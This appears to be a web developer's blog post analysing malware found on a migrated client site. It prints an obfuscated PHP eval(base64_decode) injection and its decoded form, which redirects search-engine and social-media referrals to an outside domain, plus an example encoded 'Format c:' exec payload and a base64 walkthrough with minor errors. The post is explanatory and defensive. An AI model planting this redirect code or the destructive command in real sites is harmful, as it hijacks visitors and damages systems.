Recently a new client’s site we recently migrated in was not working correctly – the site browsed fine when you visit it directly, but incoming links from Facebook, Google, and Bing were being redirected to a domain name I couldn’t find anywhere in the site code. I like many others could find it easy to overlook something that says:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbWVycnljaHJpc3RtYXMuMzQ1LnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ=="));
if you change eval (which tells it to RUN the code that results from base64_decode()) to printf and paste in a test.php file you get:
error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://merrychristmas.345.pl/"); exit(); } } } }
Removing that line of code fixed the site. What it does is matches the “referer”, and if it’s google, bing, facebook, etc.; redirect to merrychristmas.345.pl. Any questions as to what that’s doing in the code of the site in the first place should probably be refered to the developers of the site.
Base64 is an “encoding” standard. It’s used to encode the stuff that gets mashed up into a database or flung around as text. Anyhow, what they did in a recent website hack was a simple 3 step process:
1. write code for the following, and encode and wrap it as above. The code’s first move upon decoding, was to disable debug output, so if the code fails, don’t let anyone get an error, just move on. Then, grab the contents of the http Referrer field, which is present when following links to a site, but absent when typing a url in.
2. if there’s nothing in the referrer field, go ahead and show them their site.
3. if the referrer field has contents, and matches “goog”, “bing”, “yahoo”, “bitly”; let’s mess with them and redirect you to evilhackerswebsite.pl.
I did find this very elegant, cause I’d have certainly questioned any code that said Google, Bing, Yahoo, and other familiar names – and this made it so I couldn’t just search the site for the redirect destination url – which I did. Further, you’ll see that because of the way the encoding works (for each 24 bits of ASCII, it takes each 8 bit character in groups of 3 into 4 separate 6 bit characters, I couldn’t necessarily count on base64 encoding “google” and the resulting search be correct.
Base64 is for encoding binary data for moving it about as strings. Like mime email.
What that does is take a text string in, for example
exec(base64_decode(Rm9ybWF0IEM6XA==))
which when decoded reads “Format c:\” to ASCII in this way:
F in ASCII is decimal 70 Binary 70 is 01000110 o in ASCII is decimal 111 Binary 111 is 01101111 r 114 01110010 m 109 01101101 a 97 01100001 t 116 01110100
32 (space) 00100000 C 67 01000011 : 58 00111010 / 47 00101111 BLANK - = we must add up to 64 bits at the end BLANK - = so we use the = character to represent null padding
To
make Base64, the first step is to make a 24 bit string out of it:
01000110 01101111 01110010
Next, convert the sting into 4 separate 6 bit blobs – we do this to compress all the crazy character mismatch possibilities into 64 predictable, easy to translate characters
010001 010110 111101 110010
After blobbing, convert the binary sequence back to decimal
17 26 61 50
Match the new decimal value with it’s character in a grid starting with 0=A 1=B, restarting at 26 = a, 27=b and 52 = 52 = 0, 53 = 1 with 62 = +, and 63 = /
Ergo:
Rm9ybWF0IEM6XA==
Furthermore, you can disable this whole nonsense by editing your server’s php.ini file, and adding values under dislabled_functions and the disabled_classes variables. Keep in mind, disabling things that seem useless may break things that prove useful. Your mileage may vary.